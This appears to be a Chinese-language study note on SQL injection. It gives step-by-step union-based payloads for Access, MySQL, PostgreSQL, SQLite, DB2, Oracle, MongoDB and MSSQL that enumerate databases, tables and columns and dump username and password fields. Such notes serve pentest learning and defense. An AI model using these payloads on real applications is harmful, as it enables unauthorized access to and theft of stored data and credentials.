常用工具:SQLmap

数据库类型判断

  1. SQL注入语句判断(配合工具)
  2. 搭建组合、信息搜集
  3. 端口扫描

一、Access注入(较少见,没有数据库名)

  1. 猜测有多少列(order by 22)
    22正常,23错误
  2. 联合注入/暴力注入(union select 1,2,3,4,…,22 from admin)
    1. 此处猜测表名为admin,此处暴力破解,配合抓包工具
> 使用Burp Suite的变量功能,批量发送数据包,批量检查返回包来确定 

<ol start="2">
  <li>
    为测试页面回显,依次在1,2,username,password,…,22写上列名<br /> 此处也需要暴力破解列名
  </li>
</ol>
  1. 偏移注入:解决表名获取到但列名获取不到的情况
    表名获取不到,则必须要字典暴力破解
    依次测试下列语句,直到不再报错:
union select 1,2,3,4,…,19,20,21,* from admin
union select 1,2,3,4,…,19,20,* from admin
union select 1,2,3,4,…,19,* from admin
union select 1,2,3,4,…,18,* from admin
…

假设union select 1,2,3,4,…,16,* from admin正常显示,则admin中列的个数:22-16=6
4. 二级偏移16-6=10/三级偏移10-6=4/…

union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id = b.id)
union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id = b.id)inner join admin as c on a.id=c.id)

二、MySQL注入

1. 猜测有多少列(order by 4)

2. 联合注入(union select 1,2,3,4)——获取数据库名

2.1. 测试回显
  • 此时页面正常,将前面的条件置为假,出现数字(此处假设数字为2)
  • 例如,id=1改为id=-1,或者加上and 1=2
2.2. 使用内置函数获取数据库名(假设此处为db)
union select 1,database(),3,4
  • 同时可用version()、user()、@@version_compile_os查询数据库版本、用户、操作系统名

3. 获取数据(面向MySQL 5.0及以上)

  • ⚠️注意:MySQL 5.0以下注入属于暴力破解,5.0及以上版本为有根据猜解。因为在MySQL 5及以上版本中有information_schema库,它储存了mysql所有数据库名、表名、列名信息。数据库版本可用上一步的 version() 获取。
    • information_schema.tables表下的列table_name 存储表名信息的表
    • information_schema.columns表下的列column_name 存储列名信息的表
    • information_schema.schemata表下的列shcema_name 存储数据库名信息的表
3.1. 获取表名
union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=’db’
  • 此处db为数据库名,在第二步中已经得到(假设其中有member)
    • table_schema 数据库名
    • table_name 表名
    • column_name 列名
3.2. 获取列名
union select 1,group_concat(column_name),3,4 from information_schema.tables where table_name=’member’
  • 假设获取到了name、password等列名
3.3. 获取数据
union select 1,name,password,4 from member
3.4. 若版本为5.0以下,则尝试配合字典/文件读取读取尝试获取

三、PostgreSQL注入

  1. 基本思路与MySQL一致,参考:https://www.cnblogs.com/she11s/p/12326629.html

  2. 猜测有多少列
order by 4
  1. 联合注入
union select null,null,null,null
  1. 获取数据库名:
id=-1 union select null,current_database(),null,null
  1. 获取表名
id=-1 union select null,relname,null,null from pg_stat_user_tables limit 1 offset 1
  1. 列名
union select null,column_name,null from information_schema.columns where table_name=’表名’

四、SQLite注入

  1. 使用sqlite_master隐藏表,参考:https://www.cnblogs.com/xiaozi/p/5760321.html 中的union select注入,盲注将在以后涉及,这里暂时略过。

  2. 查询表名和列名

union select 1,name,sql,4 from sqlite_master

五、DB2注入

  1. 参考https://www.cnblogs.com/xiaozi/p/5760321.html

  2. 猜测有多少列(order by 4)

  3. 获取库名

and 1=2 union select 1,2,current schema,4 from sysibm.sysdummy1
  1. 表名
and 1=2 union select 1,2,tabname,4 from syscat.tables where tabschema=current schema limit 0,1
  1. 列名
union select 1,2,column_name,4 from sysibm.columns where …
  1. 内置函数
    • sysibm.sysdummy1 数据库名
    • syscat.tables 表名
    • sysibm.columns 列名

六、Oracle注入

  1. 参考https://www.cnblogs.com/peterpan0707007/p/8242119.html
  2. 猜测有多少列(order by 4)
  3. 判断列类型
union select null,null,… from dual
- 判断字符型还是数字型:在第一个null上加上单引号,正常(输出null)说明第一列为字符型,否则(不显示)为数字型。依次判断各列的类型。
  1. 确定回显位
union select 1,2 from dual
  1. 假设返回2,则第一个表
union select 1,(select table_name from user_tables where rownum=1) from dual
- 第二个表以此类推。
  1. 通过模糊like查询获得表名,配合抓包工具(见Access数据库注入)

*七、MongoDB闭合注入(较特殊,工具可能不支持)

MongoDB注入需要获取代码

  1. 首先要获得代码,否则将很难注入。

  2. 获取回显:’}); return ({title:1,content:’2

    • ⚠️这里假如不知道字段名要靠猜,这也是MongoDB注入点少的原因。
  3. 库名

'}); return ({title:tojson(db),content:’2
  1. 表名
'}); return ({title:tojson(db.getCollectionNames()),content:’2
  1. 列名、数据
'}); return ({title:tojson(db.Authority_confidential.find[0]),content:’2
'}); return ({title:tojson(db.Authority_confidential.find[1]),content:’2

八、MSSQL和Sybase注入

  1. order by 4
  2. 回显:
union all select ‘null’,null,null,null
union all select null,’null’,null,null //显示null说明回显位为2
union all select null,null,’null’,null
union all select null,null,null,’null’
  1. 猜列名猜表名基本一致